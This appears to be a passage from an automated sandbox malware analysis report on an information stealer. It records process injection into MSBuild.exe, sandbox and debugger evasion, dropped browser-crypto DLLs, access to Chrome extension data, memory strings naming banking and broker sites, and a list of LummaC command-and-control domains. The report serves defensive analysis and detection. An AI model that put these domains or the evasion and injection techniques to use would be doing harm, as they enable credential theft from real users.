Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_1-96555

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	API coverage: 4.2 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 5.2 %
Source: C:\Users\userJKECGDBFCB.exe	API coverage: 4.2 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7712

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009E9ABF FindFirstFileExW,	0_2_009E9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040DE10
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000D9ABF FindFirstFileExW,	18_2_000D9ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00401160 GetSystemInfo,ExitProcess,

1_2_00401160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: CFCBFBGD.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: CFCBFBGD.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: CFCBFBGD.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: CFCBFBGD.1.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: CFCBFBGD.1.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: CFCBFBGD.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: CFCBFBGD.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1743156168.00000000013A2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000013.00000002.1624988379.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CFCBFBGD.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: CFCBFBGD.1.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: MSBuild.exe, 00000013.00000002.1624988379.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPz
Source: CFCBFBGD.1.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: CFCBFBGD.1.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: CFCBFBGD.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: CFCBFBGD.1.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: CFCBFBGD.1.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: CFCBFBGD.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: CFCBFBGD.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: CFCBFBGD.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: CFCBFBGD.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: CFCBFBGD.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: CFCBFBGD.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: CFCBFBGD.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: CFCBFBGD.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: CFCBFBGD.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: CFCBFBGD.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: CFCBFBGD.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: CFCBFBGD.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: CFCBFBGD.1.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: CFCBFBGD.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: CFCBFBGD.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: CFCBFBGD.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: CFCBFBGD.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-96540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-97718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-96543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-96558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-96554
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-96347
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-96583
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 19_2_004400D0 LdrInitializeThunk,

19_2_004400D0

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe

Code function: 0_2_009D7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_009D7922

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

1_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00419860

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009D2003 mov edi, dword ptr fs:[00000030h]	0_2_009D2003
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_00A16628 mov eax, dword ptr fs:[00000030h]	0_2_00A16628
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009EA64C mov eax, dword ptr fs:[00000030h]	0_2_009EA64C
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009E0F2E mov ecx, dword ptr fs:[00000030h]	0_2_009E0F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00419750 mov eax, dword ptr fs:[00000030h]	1_2_00419750
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000C2003 mov edi, dword ptr fs:[00000030h]	18_2_000C2003
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000DA64C mov eax, dword ptr fs:[00000030h]	18_2_000DA64C
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000D0F2E mov ecx, dword ptr fs:[00000030h]	18_2_000D0F2E

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe

Code function: 0_2_009ECC4B GetProcessHeap,

0_2_009ECC4B

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009D7610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_009D7610
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009D7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009D7922
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009D7AAF SetUnhandledExceptionFilter,	0_2_009D7AAF
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: 0_2_009DDA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009DDA73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041CEEA SetUnhandledExceptionFilter,	1_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0041B33A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C53B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6C53B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C53B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C53B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C6EAC62
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000C7610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_000C7610
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000C7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_000C7922
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000CDA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_000CDA73
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000C7AAF SetUnhandledExceptionFilter,	18_2_000C7AAF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 45Ywq5ad5H.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 2012, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior

LummaC encrypted strings found

Source: userJKECGDBFCB.exe	String found in binary or memory: isoplethui.sbs
Source: userJKECGDBFCB.exe	String found in binary or memory: frizzettei.sbs
Source: userJKECGDBFCB.exe	String found in binary or memory: exemplarou.sbs
Source: userJKECGDBFCB.exe	String found in binary or memory: wickedneatr.sbs
Source: userJKECGDBFCB.exe	String found in binary or memory: invinjurhey.sbs
Source: userJKECGDBFCB.exe	String found in binary or memory: laddyirekyi.sbs
Source: userJKECGDBFCB.exe	String found in binary or memory: exilepolsiy.sbs
Source: userJKECGDBFCB.exe	String found in binary or memory: bemuzzeki.sbs

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_00419600

Writes to foreign memory regions

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41E000	Jump to behavior
